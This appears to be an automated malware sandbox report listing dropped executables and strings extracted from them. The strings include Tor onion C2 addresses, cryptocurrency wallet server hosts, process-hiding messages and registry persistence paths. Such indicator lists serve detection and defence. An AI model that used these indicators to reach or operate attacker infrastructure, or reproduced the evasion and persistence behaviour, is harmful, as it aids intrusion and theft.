Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: vODV6f1qBtycrG7AEUewXqSZ.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: CmJh7R2E5otxAzC6csQzhhaB.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: BDWPWht51PAB6sI39ee6Tgbk.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: kX0DCdsflvJ8OvgZffzyMO8W.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: SNzmN8HQUSehVCgProaZjQEN.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: hYAqUmuBImuV2jtG2ViGAgNj.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: nqutQ9rgLeAHNtyWdA1aXp1F.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: hLn9pwL7ypoVxhun396wpKec.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: PsfJgdgdADnk5mVYPGyLWZVX.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: nhgjWSGzWIq986x3kQ3u2YHN.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: VeFiHaAJqD2MVtOotjaLLiHl.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: qn8N72lxWeACAPN7HO6efjE8.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: pxWKg4zxasESusqXOZSGu1mj.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: iiQFQ7OxLxWbyS9Pg6suKg1w.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: FH9ZiJrSMFU3hHrXc5ibJbFE.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: vMoYM4QnB4Nb0GDoD23L7m4o.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: 1DHjR2vk6vS49GBZmU2Ta1ix.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: xKfa5BEne98Q6CDxSSuxDfob.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: MGrpLGlRfDrqJ61XW6iUbDIW.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: LWWSU1hBkg5pZ7zlASflOaPe.exe.5.dr
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: wgtZ5oDAxtz8XmZjy9Pg8rRQ.exe.5.dr

Found Tor onion address

Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: s25519: internal error: setShortBytes called with a long stringhttp2: Transport closing idle conn %p (forSingleUse=%v, maxStream=%v)http://vcr4vuv4sf5233btfy7xboezl7umjw7rljdmaeztmmf4s6k2ivinj3yd.oniontls: handshake message of length %d bytes exceeds maximum o
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe	String found in binary or memory: nvalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackint
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000400000.00000040.00000001.01000000.00000012.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C07A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.comC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.exeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.batC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.cmdC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jseC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wsfC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wshC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.mscPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntel
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000002DA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C01A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: !210e113336571014061e5d361525000421http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzIntel(R) Core(TM)2 CPU 6600 @ 2.40 GHzS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7C:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.comC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.exeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.batC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.cmdC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.vbeC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jsC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.jseC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wsfC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.wshC:\Program Files (x86)\Common Files\Oracle\Java\javapath\powershell.mscPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6SESSIONNAME=ConsoleUSERDOMAIN=user-PCwindir=C:\WindowsPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelSeDebugPrivilege
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3380987818.000000000C078000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionCommonProgramW6432=C:\Program Files\Common FilesFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerS-1-5-21-2246122658-3693405117-2476756634-1003
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: s25519: internal error: setShortBytes called with a long stringhttp2: Transport closing idle conn %p (forSingleUse=%v, maxStream=%v)http://vcr4vuv4sf5233btfy7xboezl7umjw7rljdmaeztmmf4s6k2ivinj3yd.oniontls: handshake message of length %d bytes exceeds maximum o
Source: sUyDoVTGsfEnMY0oeyexTBut.exe	String found in binary or memory: nvalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackint
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0D6000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: !This program cannoHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\TestAppHKEY_USERS\S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttps://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionSELECT Caption FROM Win32_OperatingSystemC:\Windows\System32\WindowsPowerShell\v1.0\powershellCOMPUTERNAME=user-PCHOMEPATH=\Users\userLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2PROCESSOR_REVISION=8f08PUBLIC=C:\Users\PublicSystemRoot=C:\Windows
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000002E10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C128000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C0A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: !210e113336571014061e5d361525000421http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionhttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\TestAppS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7FirstInstallDateS-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7S-1-5-21-2246122658-3693405117-2476756634-1003\Software\Microsoft\a839a7d7SELECT Name FROM Win32_ProcessorPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6SESSIONNAME=ConsoleUSERDOMAIN=user-PCwindir=C:\WindowsPROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntel
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3381117576.000000000C108000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: S-1-5-21-2246122658-3693405117-2476756634-1003https://dumppage.orghttp://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onionCommonProgramW6432=C:\Program Files\Common FilesFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerS-1-5-21-2246122658-3693405117-2476756634-1003
Source: sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000400000.00000040.00000001.01000000.0000000E.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: s25519: internal error: setShortBytes called with a long stringhttp2: Transport closing idle conn %p (forSingleUse=%v, maxStream=%v)http://vcr4vuv4sf5233btfy7xboezl7umjw7rljdmaeztmmf4s6k2ivinj3yd.oniontls: handshake message of length %d bytes exceeds maximum o
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: nvalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackint
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://o3fonzjs63n3ovdmbb5tfew6s7dpi4sirnapbiog67myalzi5pe5o2yd.onion
Source: VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3501355077.000000000C1D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://papmcl4r32awafck75y5446n252qqqq4h6c4y2slaayposrtfbcebdqd.onion
